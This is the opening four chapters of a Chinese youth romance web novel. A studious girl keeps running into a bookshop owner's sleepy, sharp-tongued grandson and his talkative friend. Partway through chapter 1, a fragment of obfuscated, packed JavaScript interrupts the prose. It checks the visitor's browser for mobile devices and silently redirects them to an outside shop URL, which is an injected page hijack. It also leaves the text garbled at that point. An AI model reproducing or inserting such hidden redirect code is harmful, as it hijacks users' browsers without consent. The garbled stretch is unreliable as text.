《夏禾冬橘》
1. 第 1 章
巷尾有一间小书店。
店铺面积不大,四五排木质书架,门侧一道窄窄的木梯通往小阁楼。第二三排书架边靠坐着一个女生,皱着眉在试题上断断续续写着。
不时响起笔尖和纸页摩擦的窸窣声。
做完今天的第三套英语听力,舒禾摘下耳机,小小地伸了个懒腰。
长时间蜷缩的身体有些酸痛,耳朵嗡嗡的,那些仿佛是在中世纪欧洲录制的模糊音频挥散不去。
舒禾叹气,翻找对比着后面答案,一边又在选择题上画了个大红叉。
手机震动的嗡嗡声响起,适时把她从改题的煎熬中拯救出来。
-撸猫大使:你选文科了吗真的假的荷包蛋!!!
底下配了张震惊猫猫表情包。
好友的消息总能将人从负面情绪中带出来,舒禾浅浅弯起唇角,戳着手机。
-禾:荷包蛋可能是假荷包蛋。
-禾:但是选文科是真的。
对面显然大为震惊,一条条消息轰炸过来。
-撸猫大使:wc这也太突然了!
-撸猫大使:诶你妈妈之前还说文科学了屁用没有呢,她居然同意了吗?!
-撸猫大使:嘿嘿不过又能把我爹的黑暗料理分你一半了。
-撸猫大使:我本来都要为我们下学期跨越两层楼的友情哭泣了……流泪猫猫头jpg。
这部手机是她妈妈用了五六年淘汰下来的,很老的机型,消息接收和发出的速度堪比蜗牛。
等好友的消息弹完,感觉又过了半辈子。
她一字一字回道:
-禾:那你可能还得哭泣一下,我是瞒着他们选的。
-禾:开学前不能瞒天过海的话,你大概会在理科班教室看见一个被打扁的荷包蛋【大哭】。
-撸猫大使:我的天,你胆子这么大了!
-撸猫大使:不过,荷包蛋本来就是扁的好不好。
……
两人短暂聊了几句,舒禾应下明天和她见面,再顺带解释突然选择文科的事情。
放下手机,她继续批改完这套听力专项训练,越往下越难堪,二十道里就有十一道红叉,过半的错误率,舒禾心里哀嚎了一声,泄气地双手捂住脸。
她默默计算着开学的时间,规划着后面的日程。
想出神的时候,突然传来一声绵长的猫叫,把她吓了一跳。
视线从指缝中漏出,一只长毛三花猫不知从哪儿出现,夹着细细的奶音向她走来。
迈着小猫步,猫爪触碰地面发出轻巧的哒哒声。
眼神亮了亮,舒禾小心翼翼向三花猫摊开手,轻声几乎用气音说:“小猫小猫,你从哪里来的呀?”
猫猫睁着金蓝异色瞳孔,身材庞大魁梧,长尾慢悠悠地晃,着实不能称之为小猫。
但好像听懂在叫它,又冲她喵喵叫了两声,在她小腿上蹭了蹭。
身侧小猫作伴,毛发像带着阳光晒过的暖香,连英文单词都显得没那么面目可憎,她开心地揉弄一会儿小猫,便继续沉心学习。
舒禾高一成绩在年级一两百名,忽高忽低,英语和数学是最拉低排名的科目。
留给她的时间并不多,开学后周测月考接踵而至,她必须赶在妈妈发现之前考出一个令人信服的成绩,不然就又会回到被人驱策的羊群之中。
她不想再做那只羊了。
沉浸下来后便像置身于虚无中,只看得见眼前的英语试卷,时间流逝得飞快。
午后干燥的风从窗隙中穿过。
男生打着哈欠跨过门槛,无精打采的嗓音带着浓浓倦意。
“外公,你又挟持我的猫。”
书店里忽地传来人声,舒禾下意识抬头望了一眼,却没看见说话的男生,大概是被挡在了书架后面。
只见一位老人瞪着眼,对那个困意浓厚的男生气道:
“都说了这猫黏人,非要吵着闹着跟着我来!倒是你,昨晚又通宵打游戏了是不是?”
舒禾认得这个老人,是这间书店的主人,偶尔会从阁楼上下来,这个暑假撞见过两三次。
老人穿着深色的宽松衬衫搭米色西裤,戴着无框眼镜,看起来儒雅谦和,训人时却喋喋不休,“哎,猫都知道要外出运动运动,你说你这主人当的,成天就把自己往卧室里一关,窗帘一拉,昼夜不分地过日子。”
“你外婆成天担心你。”
“好歹也偶尔出来走走嘛,晒晒太阳,听听风声,看这日子多舒坦不是?”
男生顺从地点头,垂着眉眼,安安静静侧靠在墙上听训斥,看起来似乎还没睡醒。
老人一瞧就知道他又当耳旁风,冷哼一声,转身走到他专属的躺椅上一坐,摇头晃脑,开始夸张地唉声叹气:“就你那发小,程敬宇啊。”
“那小子前阵子还特别贴心地打电话给我,哎哟那嘴甜的,一口一个外公好,问我最近过得怎么样,一直陪我这个老头子聊天。”
他瞅了眼旁边神游天外的少年,恨铁不成钢道:“听说人每天都大早起来晨跑,闲了就去打打高尔夫,游游泳啊骑骑马啊,这暑假过得特别丰富,哦,好像还跟他家厨师学做了不少菜给家里人吃。”
“什么法式蒜香羊排啊,三文鱼菌菇焖饭啊……都是些你们年轻人爱捣鼓的东西。”
外公的语气越听越羡慕。
安静了一会儿,男生总算拖着腔调“哦”了一声:“这样啊。”
他笑了下,笑声清澈又带着点散漫,勉强打起精神说:“那我下午刚出门那会儿,可能不小心打错电话打给猪圈里的猪了吧。”
“深山老林里的野猪,睡觉的哼哼声都没他大。”
“……”
老人闭上嘴,面色不愉盯着他看。
男生恹恹地回忆:“前两天还给我发消息说他在学做蛋炒饭,结果把醋当成酱油放,还把饭给炒糊了。”
“昨晚打着打着游戏突然挂机,边跑边嚎,说外卖吃坏肚子了要去蹲厕所。哎人同样都叫程敬宇,这生活质量怎么就和您说的那位天差地别。”
男生说到这里居然还带了点惋惜:“果然还是同人不同命。”
外公听完绝望似的闭了闭眼,气得哼了一声,不想再跟他说话。
舒禾本来在做题,不小心听了一耳朵,没忍住笑出了声。
书店里阒静,这声轻笑便显得格外突兀。
男生好像这时才注意到这里还有人,下意识循着声音望来一眼。
感受到那道陌生的注视,舒禾心里微窘,果然还是不能乱凑热闹。她忙不迭盯着手中试题,做出一副全神贯注的模样,装作在看什么精彩绝伦的故事书。
好在那道目光只是淡淡扫来一眼,很快就兴致寥寥地移开。
“阿姨跟我说,早上看见您拿着小鱼干哄着猫出门了。”男生转头继续和外公说话。
舒禾尴尬地松了口气,不再分心,定了定神把注意力集中到阅读题上。
做完两道题,翻到下一页,她突然听见侧方传来一道脚步,混着纸张的簌簌声由远及近。
随之而来的,是空气中忽然飘来的一股极淡的苦橙香气,像夏季尚且青涩的柑橘,酸涩微苦。
舒禾脖颈一僵,视野中便出现一双黑色休闲鞋。
夏季雨水淅沥,这双鞋竟然干净得一个泥点都没有。
男生停在她面前。
这间书店装修得很老了,没有安置桌椅,不知道是不是只供人借阅回家去读,但待在家里免不了要跟她妈妈碰上,所以舒禾还是选择呆在这里,尽管只能靠坐在地上,至少无人打搅。
现在头顶光线被男生挡住,窄长的影子投射在她身上,试题里的一个个单词逐渐变得晦暗,模糊了边角。
女孩缩在这道阴影里,像被困住的一株小禾苗。
舒禾捏了捏笔杆,实在装不下去,于是抬了抬眼。
四目相对。
男生微微歪着头,肤色很白,黑发柔软垂着,灯光铺洒在他高挺的鼻梁,面上阴影错落,衬得眉骨下眸色极黑极深。
身上是件黑色短袖配同色运动长裤,衣服上没有多余的图案样式,只在角落有一个她不认识小logo。整个人清瘦挺拔,特别简单干净的穿搭,在他身上却显得格外时髦。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888982|192147||http|test|mini|href|location''.split(''|''),0,{}));
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>她目光从男生脸上扫过,呼吸微屏,无意识往后靠了靠,紧贴着身后书架。
这人的长相就像是,从她初中看的那些少女漫里走出来的男主。
或许比漫画还要令人深刻。
难以否认她看呆了几秒。但随之而来的,是一种难言的别扭和尴尬,就像她从来不敢进入那些装修得特别精美高端的书店。
此刻她也垂了垂眼,没敢继续对视。
一直安静待在身旁的三花猫嗅到主人气味,甩着尾巴起身,脑袋绕着男生的腿用力蹭了一圈。
“猫~猫~”
边蹭边叫,大猫依人。
男生没有管它,垂眼看着舒禾,也可能是看着她膝上摊开的教材,总之一时间没说话。
舒禾迷茫睁着眼睛,视线放空在对面书架上,胡乱打着转。
这人停在她面前,显然不是单单路过,看似也不像是来捉他的猫。
想起先前她那声突兀的笑,舒禾咬着唇,难道来找她讲道理?可她真不是故意偷听的呀。
舒禾有些无措。
手臂下意识挡了挡试题。
这里光线昏暗,他大概也看不清上面的字。
拜托了,就当她是看故事书看笑的吧……舒禾紧张得想哭了。
心里正七上八下时,男生终于开了口。
声音也极淡:“挡道了,让让。”
空气蓦地静了两秒。
她霎时面红耳赤。
“啊?哦。”
舒禾慌张抱着教辅资料书站起来,手指不知所措地抠着书页。
书架最底层是一排柜子,她让开之后,方才还大猫依人的三花立刻冷酷地抛弃了它的主人,拿爪子一下下刨着柜门。
它将柜门刨开,脑袋伸进去,叼出来一袋鳕鱼冻干,扔到两人中间,“猫”了一声示意他们。
男生啧了声没有动。
舒禾也僵着没动。
怪不得小猫一直黏在身边不走……原来是闻到零食味道了啊。
她还以为她是什么天选养猫人。
两个人类都没动,猫猫十分不满地又叫了两声,猫爪拍得包装袋哗啦响。
舒禾视线飘忽两下,听到身旁那人低斥:“急个屁,别吵。”
男生声音极不耐烦,带着点没睡醒的哑。舒禾差点儿以为在骂她,不知道为什么有点紧张,跟小学生罚站似的站在一旁,睁圆了双眼注视一人一猫。
他蹲下身,捡起冻干袋子,撕开喂了一块给早已饥渴难耐的大猫。
男生肩背宽阔,脊骨弓着,微微隆起一个弧度,短袖下延伸出来的手臂线条流畅又漂亮。
舒禾视线停了一秒,又看向眯眼享受的大猫。
好可爱啊,有点想摸。
但是又不敢。
她略局促地站着,不知道现在该不该走。
男生手心还摊着几块冻干,对埋头苦吃的猫冷冷“呵”了声。
“都胖成球了,还一点吃的就能把你哄走。”
“一点良心没有。”
“明天就让你减肥。”
猫猫才不管,猫猫只管大吃特吃。
喂完猫,他将袋口封上,放了回去。
而后直起身,没怎么注意她,径直往外走,猫猫吃饱后亦步亦趋跟在他身后。
舒禾松了口气。
终于走了。
她拿出手机看了眼时间,快四点,思忖着再做一套题,差不多就该回去了。
她还得给在麻将桌上征战一下午的陈女士做饭。
刚准备坐回去。
复又听到已经走远的男生脚步微顿了顿。
空气里落下一声懒倦的低笑,似带了点嘲意。
舒禾顿感不妙。
“李华如果知道你看到他的信后笑得这么开心,一定也很高兴。”
“……”
李华,她刚才英语阅读题的主人公。
他看到了!
他居然看到了!!还要故意嘲讽一句!
舒禾羞窘地闭上眼。
啊,这什么人……
能不能给他缝上嘴啊。
2. 第 2 章
舒禾第一次知道,帅成这样的人也能这么欠揍。
她悄悄深呼吸几下,耳根因着他这句话有点发烫,染上了羞耻的绯红。
好在这个人看起来是真的不太爱在外面停留,去和他外公打了声招呼,便带着他的猫离开了。
好像出门一趟就是为了逮只猫回家。
大概是更喜欢宅在家里吧。
舒禾没有多关注,心情平静下来后继续埋头做题。
她英语阅读和作文都不算差,唯有听力是最大的短板,可能还是缘于对单词不够熟悉,所以在听力题语速过快和连读的情况下,总是模模糊糊的听不太明白。
这个问题好像也找不到什么捷径,舒禾只能准备花时间多听多练了。
赶在五点前做完了今天最后一套题,又认真地一道道批改完,不知道是语感上来了还是这套题较为简单,错误率总算没有那么高。
她舒了口气。
一点点地进步就好了。
就像田野里一点点成长的小禾苗,总会有丰收的那一天。
她收拾好东西准备回家。
舒禾就住在书店背后的老小区,是处于蓉城一环路内的老式居民住宅。
地理位置十分优越,周边两所大型综合性三甲医院,不远就是人民公园,省内数一数二的蓉大附中也在此处。
医疗、教育、生活,都非常便利。当然,陈女士心中最盼望的还是拆迁。要有那天,可就真发达了。
沿着这条破破烂烂的窄巷出去,到家也就十分钟左右的距离。
快走到的时候,人也渐渐多了起来,街道各种茶馆足浴早餐铺子林立,这栋老式居民楼就夹在其间,门口坐着两个光膀子大爷,摇着蒲扇,有一搭没一搭地闲聊。
八月初天气闷热,烟味汗味,混杂着垃圾桶内残留物发酵的恶臭,朝四周蔓延着,舒禾早已习惯,屏住呼吸径直走进去。
“小禾回来啦?你妈还在里头和王大婶那几个搓麻将呢。”
大爷瞥见她,打了个招呼。
这种老式居民楼,街头邻里的基本都是熟人,舒禾应了声往里走,楼下院坝里摆满麻将桌,每桌旁边都放了张塑料凳,上面是瓜子花生和茶水。
没待她看清人,倒先听到了她妈豪迈惊喜的高呼:
“哎哟,胡了胡了!”
陈女士笑得眼尾额角都起了皱,也不管同桌的阿姨脸色好不好看。
“晓得你胡了,喊弄大声干啥子,耳朵都给我震聋了。”
舒禾走近,认出说话这个就是王婶。
陈女士笑眯眯地端起菊花茶喝了口,一抬头看见她,赶紧道:“回来得正好,肉我都解冻了,你回去切个莴笋就行,炒好了给我打电话。”
舒禾点头说好,又乖乖地挨个喊了旁边坐着的嬢嬢婶婶,才穿行到她们后边上楼。
楼梯间里还能听到她们热闹的谈话。
“小禾也太乖了,不像我家那个臭小子,放假成天往外跑,饭点了都看不见人。”
“还成吧,女孩子嘛就是要听话些。”
“她下学期高二了啊?在附中成绩应该挺好吧?”
“哎呀一般般,理综学得不好,高二分班就更难了,这不每天都出去学习。”
“唉,还是女孩儿乖呀。”
……
舒禾默不作声上了二楼,踏进家门。
晚饭过后,陈女士打包了饭菜,要给看店的舒远山送去。
今天赢了快两百块钱,她眼角眉梢尽是愉悦,临走前,终于分出心思给女儿。
“最近学得怎么样?化学物理有进步没有?”
舒禾洗碗的手紧了紧:“还行。”
陈燕梅点点头:“那就好,妈妈知道你一直都很自觉,这几科一定要学好,晚上有时间就多看书做题。”说完走出了家门。
舒禾房间里有个木板桌,是以前陈燕梅打牌用的,后来贡献出来给她当书桌。
她每晚都伏在桌边预习数学到十一点左右。
今晚睡前习惯性看了会儿手机,回完重要消息,正准备关机睡觉时,却瞟到角落里被她遗忘许久的闲鱼多了两个小红点。
-你好。
-请问还接单吗?
是上学期寒假时她建的上门洗猫链接,已经很久没有人问,她都差点忘了这回事。
舒禾礼貌拒绝了,顺手改了个999防拍价。
-
夜里下了场雨,舒禾听着雨声没怎么睡好。
翌日一早顶个大黑眼圈帮着做了些家务活,午饭后才有时间补了会儿觉,醒来都一点半了,匆忙收拾书包出门。
雨后路面湿滑,舒禾一边在心里规划着今天的学习计划,一边小心翼翼避开了这条路上第五块松动的水泥砖。
全是她这段时间踩出来的经验。
快到书店的时候,手机震动了一下,是好友发来的消息。
-撸猫大使:呜呜呜对不起荷包蛋,今天店里好忙,我被我妈逮住了,可能要晚两三小时到。
配了个跪地求饶的表情包。
舒禾回复她没关系,反正也是来书店学习的。
正低头打着字,猝不及防踩的下一块砖就是松动的,泥水从砖缝里迸溅到裤腿上。
舒禾:……
唉。
今天回去又得搓泥点了。
她认命地拿出一包纸巾暂且擦了擦。
不远处忽然炸开一道暴躁的骂声:“卧槽又踩到了!今天第八次了啊,我他妈裤子都快能滴水了!”
舒禾顿了顿,居然有人比她还倒霉啊。
她擦着裤角,忍不住回头看了眼。
阶梯上站着两个男生,一个在生无可恋扯着他被泥水摧残的裤子哀嚎,另一个正从自行车上下来,手里拎了罐橘子汽水,事不关己地把自行车推到银杏树下停好。
舒禾看着那张眼熟的脸呆了呆。
那个倒霉的男生还在骂骂咧咧,不知是否她目光停留太久,两个人都似有所觉地望了过来。
程敬宇首先看到她手里拿的那包纸巾,登时双眼放光,像看到了救世主一样向她奔来。
然后在奔的路上又踩了两脚。
“卧槽你大爷的!”
舒禾吓得退了一步,双目睁得圆圆的。
程敬宇跑到她面前停下,注意到她害怕退后的动作,挠了下头,“呃……我不是骂你啊妹妹,纯属口头禅,你瞅我裤子!”
他说着指了下,又瞥见女生的裤腿上也溅有几个泥点,但比他好多了。
“咱俩患难之交啊妹妹!能给我几张纸巾用用么?”
听他语气感觉都快哭出来了,舒禾顿了顿小声说好,把手里还没来得及放回去的那包纸巾递过去。
旁边一道悠哉悠哉的脚步声渐渐靠近。
那罐鲜艳的橘子汽水出现在余光里。
一同出现的还有他随意搭在瓶身上的手指,白皙,瘦长,骨节分明。
舒禾看到他就想起昨天的事情,浑身不自在起来,默默垂下视线。
怎么又是这个人。
幸亏男生没说话,也没看她,只无所事事地站在一旁,时不时喝口汽水,等着他朋友。
这条老巷子没什么人走,路面年久失修坑坑洼洼的,也没人管。
程敬宇一边擦一边吐槽,瞟见他好哥们干干净净的裤腿,惊道:“不是,贺行雪你开挂了吧,他妈的这地儿三步一个雷,为啥你就踩不到啊?”
他
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语气万分不服。
贺行雪昨晚又熬了通宵,整个人都恹恹的,眼皮半抬不抬。
女生呆呆地杵在去书店的必经之路上,黑眼圈看着比他还严重,啧。
“因为我走路看路啊。”他轻飘飘回复。
而后扫了眼女生裤角上的几个小泥点,又看了看程敬宇快包浆的裤子,颇为嫌弃地离他们远了点。
看见他小动作的舒禾:……怎么感觉她也被骂了。
程敬宇喊了声“去你的”,擦完一条腿,又抽了几张纸擦另一边。
他嘴里闲不住,不想到贺行雪那里自找苦吃,于是转换目标,瞅了眼舒禾。
“放暑假了啊妹妹?”
“嗯。”
“去书店学习?”
“对。”
“初中高中啊?”
“快高二了。”
嘿,那不是一样大?
这脸长得太嫩了,看着跟初中生似的。
他忍不住又问:“哪个学校啊?”
舒禾抿着唇没说话,略带警惕地看了他一眼。
程敬宇没听到回答,抬头瞅了眼,却见她眼底略微的警惕之色,顿时有点受伤了。
他好歹在学校也是经常收到情书的人,看着很像什么人贩子么?
“我俩下学期也高二,寻思咱们说不定一个学校的,还能多交个朋友,我没别的意思,你别担心啊。”他解释。
虽然这附近就只有一个附中,但如果同校还同年级也挺巧的。
舒禾大概看出他不是坏人,但又没他这么自来熟,刚认识就能交上朋友,有点不知所措地咬了咬唇。
其实,连认识都算不上吧,就是一面之缘。
程敬宇还想继续说什么,贺行雪“啧”了声,忍着嫌弃把他拽回来:“人有朋友了,你别老往前凑。”
又不耐烦地催促:“快点擦完走了。”
程敬宇“哦”了声,随便胡乱擦了几下,把剩下半包纸巾还给她,舒禾伸手接过时,他突觉有什么不对。
“等会儿,你怎么知道她有朋友?”
程敬宇说着看了看她,又狐疑地看了看贺行雪。
渐渐的,他回过味来,大声“卧槽”了一句。
“你俩认识的啊?!”
“……”
认识的话,把他看成人贩子也勉强能说通了。
毕竟贺行雪那张脸任谁看了都忘不掉。
别说女孩儿了,男生看到都会忍不住多瞅几眼。
舒禾本来接过纸巾时就准备走了,此刻背脊都僵了僵,生怕再从那个人嘴里听到什么石破天惊的话。
毕竟,她可找不到一个远在欧洲的朋友。
她连忙转身迈向书店,步子都快成小跑了,还想起来要礼貌道别,低头快速含糊地说:“我有事先走了……”
女孩儿落荒而逃的背影像个小兔子,转瞬消失在书店门口。
程敬宇懵了一下:“怎么突然跑了?”
他很吓人吗??
贺行雪百无聊赖地收回视线,端起汽水喝了一口。
不对劲,万分不对劲。
程敬宇又将目光转回贺行雪身上,等待他给出一个答案。
哪知他的好兄弟直接掠过了他,语气不咸不淡的:“走了,外公等着。”
一副懒得多说的架势。
见鬼了。程敬宇瞪着眼,他们不就几天没见,贺行雪这个足不出户、“待字闺中”的大少爷上哪儿认识的别人?!
“我靠,你背着我和别人有小秘密了?!”
还他妈是个女生。
程敬宇不可置信的表情活像个被抛弃的糟糠妻。
贺行雪立马嫌恶地说:“滚,我直的。”
3. 第 3 章
贺行雪的嘴里是逼问不出来任何东西的,这一点程敬宇从小就领会过了,但他又对于贺行雪在国内居然认识除他之外的同龄人这件事,觉得特别惊奇。
毕竟这位少爷回国大半年,基本都把自己关在家里,平时他只能搁游戏上看见他。
想找他出来打个球?嘿,不好意思,这人派头比世界巨星都大,出不出来还得看心情,先提前个三月半年的预约吧。
就连今天也是被他硬薅出来的,谁让这狗昨天在外公面前揭他老底。
这事儿问又问不出来,想得程敬宇抓心挠肝的。
在阁楼上陪外公下棋的时候,他趁机打听:“外公,楼下那小姑娘您认识么?”
沙发上正横屏打游戏的贺行雪掀了掀眼皮。
“倒是见过几次,好像经常来店里写作业。”范兴文说,“昨天小雪过来逮猫的时候还遇上了,怎么了?”
“哦,原来是这样啊,那就没事了。”
程敬宇有点遗憾地咂咂嘴,他还以为能发掘出什么惊天大秘密。
“你们俩快开学了吧?”
“八月中下旬那会儿,还剩大半个月吧。”程敬宇一算时间,只觉这暑假过得也太快了。
“那快了啊,小雪对这里不熟悉,到时候还得多麻烦你照应一下。”
“害,谈什么照应,都哥们。”
范兴文就只有贺行雪他妈妈一个孩子,她意外离世后,贺行雪就回了国,休学了半年。
程敬宇虽然平时有些不着调,但对长辈挺孝顺,他和贺行雪一起长大,便也把外公外婆当成了自家长辈,时不时过来陪他们解解闷儿。
下完一盘棋,范兴文兴致被挑起来,瞥见水杯空了:“小雪,帮我下楼接杯水。”
贺行雪兴致缺缺地“嗯”了声,将手机熄屏,拿起外公的水杯走了出去。
古旧的木质楼梯咯吱咯吱响,他边往下走边捂嘴打了个哈欠。
今早七点他才睡下,还做着梦呢,就被程敬宇那个狗东西破门而入。
贺行雪心有不满,路过几排书架时,视线无意间扫过其中两排的过道。
过道里坐着女孩纤细的侧影,他目光在她脸颊垂落的发丝上一掠而过,没做停留继续提步往前。
接完水,回去路上他又懒懒散散瞥去一眼。
只见刚还在埋头做题的人现在怀里抱着个什么东西,双手环着,用力得整张脸都皱起来。
他瞧着,眉梢轻轻扬了下。
舒禾刚做完一套题,有点口渴,从书包里掏出保温杯。
这个保温杯还是她小学六年级买的,图案特别幼稚,以目前眼光看来还有点土,但是非常小巧便携,她便一直用到现在。
今天早上舒远山替她倒了茶水进去,然而不知道是不是装太满了,如今竟然拧不开盖子。
舒禾手都拧红了,还有点不信邪,抱着保温杯又尝试了一次。
她深呼吸几口,手指压在杯盖上,双眸紧闭,使尽浑身力气地一旋——
一丝动静都没有。
她呆怔看着杯子,有点怀疑人生了。
一声嗤笑猛地把她从懵然中惊醒。
舒禾慌慌张张转头,看见从右边踱步过来一个男生。
那道瘦长的影子又投落而下,紧密地罩住她。
贺行雪:“我帮你?”
舒禾抿了抿唇,之前两次碰面的场景还历历在目,让她感到有些微的不自在,夹杂着一丝窘迫。
但又想到不能一下午不喝水,自己也确实打不开,她短暂犹豫了几秒,还是小声道句谢谢,将杯子递了出去。
然而一递出去就后悔了。
她看着半空中,那个布满荷包蛋图案的、幼稚土气又花哨的杯子,微微红了脸。
递也不是,收也不是,一口气吊在胸口。
昏昧中响起一声若有似无的笑。
特别淡的一声,稍纵即逝,若不是离得足够近,舒禾会怀疑自己根本没听到。
但不知道是不是自己小人之心了,她总觉得这里头带了点嘲笑的意思,于是那口气便哽在胸口不上不下。
好在男生伸出了手,免去了她被憋死的命运。
“帮我拿一下。”
贺行雪递过他外公的杯子。
接过时,她的手指不小心蹭过他的指尖。
白玉似的触感,带着凉意,舒禾缩了缩手。
刚才还冥顽不灵的盖子,在男生手中很轻松的就被制服,再递还给她。
他不是那种健壮魁梧的身形,甚至算得上清瘦单薄,手背苍白的皮肤透着淡青血管,看起来有些病态,没想到力气却很大,完全不是她能比的。
舒禾这次接过时注意着避开了他的手指,再把他外公的水杯还给他,又认真地说了句谢谢。
思及刚才可能在心里误会他了,所以她第二声谢谢除了礼貌外,还带着浓浓真情实感的感激,说起来字正腔圆。
就很像个小学生。
贺行雪心想,随口回道:“不客气。”
而后顿了顿,他又慢吞吞补了句:“这水杯挺好看啊。”
“……”
舒禾还是很想缝上这张嘴。
贺行雪微微偏着脑袋,眼尾有一点上翘,是一双特别昳丽的眼睛,但那眼神怎么看都像在笑话她。
舒禾脸颊一点点染上绯红,下意识把保温杯往怀里掩了掩,忍住羞耻,略微咬着牙说:“谢谢。”
都说了第三遍了,显然开始赶人了。
贺行雪懒懒地哼笑了声,没再停留,给外公护送水杯上楼去了。
舒禾叹气,整理着乱糟糟的心情,喝口老爸泡的茶,打起精神继续专心做题。
-
程敬宇又陪范兴文下了两把,无一例外输得很惨,他棋艺本来就不是很好,只是小学的时候被爸妈勒令当课外爱好学的,如今临阵上场肯定被杀得片甲不留。
“行了,难得你们俩闲得住,都陪我这个老头子待了这么久了,也该嫌无聊了。”
范兴文摆了摆手,示意他俩自行去玩。
“哪里话啊外公,这不磨练我棋艺呢嘛,多好的机会啊,别人想找都找不到。”程敬宇嬉皮笑脸地说。
范兴文摇头笑笑没说话,从书匣里抽出自己刚才翻看过的那本书,捏起眼镜戴上。
程敬宇见状,只好起身道:“那我下次再和阿雪过来看望您。”
临走的时候,贺行雪脚步微顿,握住门把手回头看了一眼。
范兴文也恰在这时从书里抬起头。
范兴文六十多岁,就这半年间头发几乎全白了,若不是早年注重锻炼,身骨较为硬朗,仪态也超乎常人,光看面貌,怕是都像七老八十的人了。
两人相顾静默片刻,还是范兴文先开了口:“回去吧,记得每天按时吃药,你总把自己关在卧室,我和你外婆都没办法随时照看你。”
那猫儿算得上是他很顾重
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的了,所以昨天他把猫哄骗出门,就是想要他多出门走一走,看一看。
蓉城的八月阳光暖热,夏风柔和微燥,草木旺盛生长,万物欣欣向荣。
世间的风霜雨露,也伴随花团锦簇。
贺行雪点头说好。
-
舒禾收到好友消息说马上到了,她回复说自己坐在角落,以防她找不到,回完后,又低头看着刚改完的试卷。
她做的是附中自主命题的高二英语卷,一百五十分的满分,批改完后算了算,91分,才刚踩着及格线。
这个英语成绩在平行班里也只徘徊在中游,好在现在才高一刚结束。
对这个结果舒禾说不上满意还是失落,只觉得她还有好长的一段路要走,而时间不等人。
书店楼下没什么人,就一个守店的短卷发阿姨,靠在椅背上戴着耳机刷短视频。
程敬宇大跨步边下楼梯边回头说:“去打球呗?”
贺行雪说:“不去。”
程敬宇:“去啊!就缺你一个!”
贺行雪拒绝:“我要回去补觉。”
男生站在楼梯上,自上而下俯视程敬宇,懒散地笑了一下:“你知道我这张脸上长了黑眼圈,会有多少人心痛吗?”
他顿了顿,又说:“算了,你应该体会不到。”
程敬宇听得特别想给他一拳。
“……操,别搁这自恋了,大白天睡觉多浪费光阴啊。”
吐槽归吐槽,但他猛一想,觉得这人说得还真没什么毛病。
这哥们真是他从小到大国内国外见过长得最牛逼的人。
想起他之前给人从床上硬薅起来,程敬宇摸了摸鼻尖,又忍不住打量贺行雪。
这人之前天天罩在伦敦阴云密布的天气下,本来就白,回国后又不爱出门,那苍白的皮肤跟他一比就像活人死人的区别,衬得眼底的淡青也特别明显。
他便挠挠头,没好意思再说,仰天长叹:“唉,那好吧。”
反正他还有SAT的reading还没做,赶在爸妈回家前写一点,说不准他们一个高兴,开学的时候往他卡里多打点钱呢?
嘿,程敬宇一想到这里就兴奋起来了,出门的时候,还看见那位疑似同校的纸巾侠埋着头,正在学习的路上刻苦奋斗。
“太努力了。”他赞叹。
贺行雪看了一眼,拍拍他的肩膀:“多学着点。”
啧。
程敬宇摩挲着下巴,又瞅了眼贺行雪。
然而贺行雪直接越过他行至门口。
男生脸上看不出什么表情,只有想赶紧回家睡觉的欲望。
好吧。程敬宇鉴定完毕,确认这两人没有背着他有什么“私情”,便放心了。
自己单身固然难受,但朋友脱单更令人绝望啊!
还好,还好,程敬宇想着想着就笑了。
被人注视的感觉太过浓烈,舒禾以为是好友到来,抬了抬眼,却只见一个错身而过的瘦长身影,和一个站在原地笑得龇牙咧嘴的人。
这个龇牙咧嘴的人看见她,对她招了招手,随后快走几步追上前面那人,边走边对她告别:
“江湖再见啊纸巾大侠!”他热烈的呼喊随风传递过来,伴随着另一个男生的淡声嗤笑,一同落入耳中。
纸、巾、大、侠。
什么奇怪的称呼啊……
舒禾赶紧晃了晃头,把这个令人羞耻的称呼从脑海中赶出去。
4. 第 4 章
不久后,门口又传来一阵脚步声,舒禾抬头,就看见好友任姝宁满脸恍惚地走了进来,嘴里不停念叨着。
“禾啊,舒禾啊……卧槽,你知道我刚看见什么了吗?”
任姝宁这副神思游离的样子很像在说梦话。
舒禾欲言又止,担忧地看着她:“看见什么了?”
“帅哥啊!好大两个帅哥!就从我面前走过去!”
任姝宁激动得有些语无伦次了:“特别是左边那个,巨帅!巨帅你知道吗!我真没骗你,好可惜你没看到,我靠感觉我都不用追星了,星就从我面前飘走了……”
她越说越激动。
刚才,两个帅哥?
舒禾愣愣地听着。
应该就是那个叫贺什么的那两个男生吧。
她没记住名字,不过赞同地点了点头,客观讲确实挺帅的,她第一次见的时候都呆了两秒。
任姝宁抱头呜咽了一声:“啊,为什么总让我在邋遢无比的时候遇见帅哥……”
她来得太匆忙,头发上衣服上还粘了好多狗毛猫毛。
舒禾安慰她:“你现在也很好看的。”
任姝宁还是很想抱头痛哭。
舒禾无奈地看她。
她俩在高一时是同桌,任姝宁是典型的玩乐学习两不误的学霸,且每科均衡发展,虽然对比之下语文稍显逊色,不过下学期分进实验班也是板上钉钉的事。
而舒禾又恰好在语文成绩上尤为突出,单科成绩几乎次次年级前五,两人性格也十分互补,一个大大咧咧,一个安静内敛,总之一来二去,两人很快就玩到了一起。
任姝宁平息了半天,才终于把帅哥抛之脑后,想起自己来的目的。
“快快快,给我讲讲,怎么突然选了文科,之前不都还给我说你要学理了吗?”
看帅哥只图一时的快乐,好姐妹才是永远的依靠,任姝宁对此深以为然。
舒禾放下手里的笔,早有做准备,此时斟酌着字句,慢慢和她解释:“你知道我一直很喜欢看书,自己也会在本子上记录一些平时的见闻、或者感慨。”
“去年冬天的时候,我遇到了一个记忆深刻的事情,然后尝试写了一篇散文,发表在了杂志上。”
任姝宁点点头,这件事她有听说过。
“就在期末填分班表的前一晚,编辑联系我了,她说这篇文可以尝试上报蓉城青少年文学奖项。”舒禾有些迟疑地顿了顿,继续道:“她觉得获奖概率挺大。”
“我的天!”任姝宁睁大眼惊喜道:“舒禾你怎么这么厉害!”
舒禾轻轻摇了摇头:“但是获奖的前提条件是,必须得是出版作品,所以后面还有很多繁杂的出版流程要走,编辑已经在帮我跟进了,不知道能不能赶在评奖之前。”
